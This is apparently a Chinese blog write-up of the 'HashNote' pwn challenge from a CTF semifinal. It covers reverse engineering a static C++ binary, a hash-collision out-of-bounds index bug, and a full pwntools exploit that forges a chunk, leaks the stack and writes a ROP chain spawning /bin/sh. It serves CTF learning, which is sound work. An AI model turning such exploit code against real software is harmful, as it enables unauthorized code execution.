长城杯半决pwn——HashNote

长城杯半决pwn——HashNote

M1aoo0bin

(´ΘωΘ`)

HashNote

准备国赛的时候协会web手给的题,说是春秋云境靶场里渗透出来的是。

逆向分析

一打开就是经典无符号,然后是静态编译没有外部库。

虽然乍一看很恶心,但是逆过go之后看这个还是比较眉清目秀的,很容易找到主函数

20241130204212

然后先猜输入输出函数,其中这个put后面的第一个参数都相同,点进去是.bss段上的东西,空的

然后 debug 的时候查看内存可以看到在main之前就已经设置好固定的值,指向一些类似vtable for'std::codecvt<char16_t, char, __mbstate_t>的东西。

基本可以判断这个东西是c++,把这个变量标记为io_puts也只是为了方便之后判断带这个参数
的都是输出函数,io_read同理,因为显然这里不会逆出很直接的输入输出流,或者特定函数。

其实要是之前做过带符号的C++应该就比较容易理解这里一套的,可惜我只做过一半的工作,所以很多细节还是不太清楚。

然后有一个pwn题比较经典的登陆交互check()
20241130205532
但是非常好逆,甚至很多交互逻辑可以从这里辅助理解
得到登陆密码freep@ssw0rd:3

回到 main ,还是先把一些.bss段上经常出现的地址通过一些调试知道大致意思
20241130210029

这里有个一开始一直打不通的交互就是如何change username,后来看了别人的wp,大概猜了一下才懂这里的new username 要把 128 的缓冲区长度全部打满才不会卡住,可能是源程序对于 end 的设置吧。所以说,把缓冲区对齐填满是好习惯。

然后看子函数:
20241130210620
其实我认为这里比较重要的是reset_mem,特意把栈上的数据构造好结构拿来接收数据,关注reset部分的数据变化,可以知道存储数据的结构,和之后伪造 chunk 的结构息息相关

剩下的就是一通 debug 了解函数功能。大致就是每个data都有特定的key来作为索引,而这个key是通过给定数据算出来的一个0~126哈希,key_data是在 .bss 上的,里面存的是不同的 chunk 的地址, chunk 里存了两个东西,一个是 key ,一个是 data 。

思路

没有libc,静态编译,自然而然想到打栈,但是要找到一个办法泄露栈地址(一般肯定是就像堆题利用show()一样利用这里的query())

然后再看 getshell 的方式,从保护的角度来看没有很大的限制,rop 是比较合理的一种,不过要实现任意地址写(最起码得写到某次 return 后的栈上)

以及这种.bss段上全局变量特别多的题,往往就是越界写造成一些更大的突破。

以上差不多是我自己能分析到的程度,然后就 stuck 了,主要是利用的手法和看到的漏洞点中间总是差一口气,于是上网搜搜了搜wp(´゚д゚`)

通过调试以及仔细阅读 F5 后的代码:
20241130214235
漏洞点在于这里的 while ,校验如果这个哈希对应的 chunk 如果已经存在那么再看 chunk 内 key 的内容是否相同,如果不同则对于这种相同哈希不同key的情况,再往后分配一个chunk。

在这里没有检查index的范围,也就是说126之外的index也可以被访问到的 key_data[]之后存储的就是 username
insert是读,query是写,那么构造username就可以完成任意地址读写

接下来是泄露栈地址,主要问题是找一个记录了栈地址的地方,搜索到的wp都是在.bss段上某个地址找到的记录了一些程序加载时栈上的痕迹,可能和c++的静态编译或者和这个题目的一些设置相关,但是应该是不至于把程序逆透了才能得到。
(或许是通过pwndbg的search可以找到)

最后的工作:构造相同哈希的key
不会,待我请教协会密码手。否则的话就写个脚本爆一下

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')

elf_path='./HashNote'
# libc_path='./libc.so.6'

# p=remote("".)
p= process(elf_path)

elf=ELF(elf_path)
# libc=ELF(libc_path)


def change(newname):
p.sendlineafter(b'Option: ',b'4')
p.sendlineafter(b'New username: ',newname.ljust(0x80,b'\x00'))


def insert(key,data):
p.sendlineafter(b'Option: ',b'1')
p.sendlineafter(b'Key: ',key)
p.sendlineafter(b'Data: ',data)


def query(key):
p.sendlineafter(b'Option: ',b'2')
p.sendlineafter(b'Key: ',key)


def modify(key,data):
p.sendlineafter(b'Option: ',b'3')
p.sendlineafter(b'Key: ',key)
p.sendlineafter(b'Data: ',data)


pop_rdi=0x405e7c
pop_rsi=0x40974f
pop_rax=0x4206ba
pop_rdx_rbx=0x53514b
syscall=0x4560c6

username=0x5dc980
stack=0x5e4fa8
ukey=b'\x30'*3+b'\x31'+b'\x44'

#-------------
fake_chunk=flat({
0:username+0x10,
0x10:[username+0x20,len(ukey),\
ukey,0],
0x30:[stack,0x10]
},filler=b'\x00')

p.sendlineafter(b'Username',fake_chunk)
p.sendlineafter(b"Password: ",b"freep@ssw0rd:3")

# 构造
insert(b'\x30'*1+b'\x31'+b'\x44',b'test') # 126
insert(b'\x30'*2+b'\x31'+b'\x44',b'test') # 127 数组越界

# 任意地址读 leak stack
query(b'\x30'*3+b'\x31'+b'\x44')
main_ret=u64(p.recv(8))-0x1e0


#--------------
fake_chunk=flat({
0:username+0x20,
0x20:[username+0x30,len(ukey),\
ukey,0],
0x40:[main_ret,0x100,b'/bin/sh\x00']
},filler=b'\x00')

change(fake_chunk) # 准备任意地址写

# rop
payload=flat([
pop_rdi,username+0x50,
pop_rsi,0,
pop_rdx_rbx,0,0,
pop_rax,0x3b,
syscall
])

modify(ukey,payload) # 任意地址写

gdb.attach(p)
p.sendlineafter(b'Option: ',b'5') # 退出main,触发rop

p.interactive()

小结

  • 逆昏头的时候也要适时保持理智
  • 以及作为攻击者要对各种合法的特殊情况敏感,主动去找特殊情况,比如这道题里不同 key 同哈希的情况。

参考文章:

pwntools中flat的使用方法
https://www.dr0n.top/posts/f249db01/
https://fushuling.com/index.php/2024/05/28/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83-greatwall%E9%95%BF%E5%9F%8E%E6%9D%AF%E5%8D%8A%E5%86%B3%E8%B5%9B/

  • Title: 长城杯半决pwn——HashNote
  • Author: M1aoo0bin
  • Created at : 2024-11-30 19:40:22
  • Updated at : 2024-12-02 12:14:18
  • Link: https://redefine.ohevan.com/2024/11/30/长城杯半决pwn——HashNote/
  • License: This work is licensed under CC BY-NC-SA 4.0.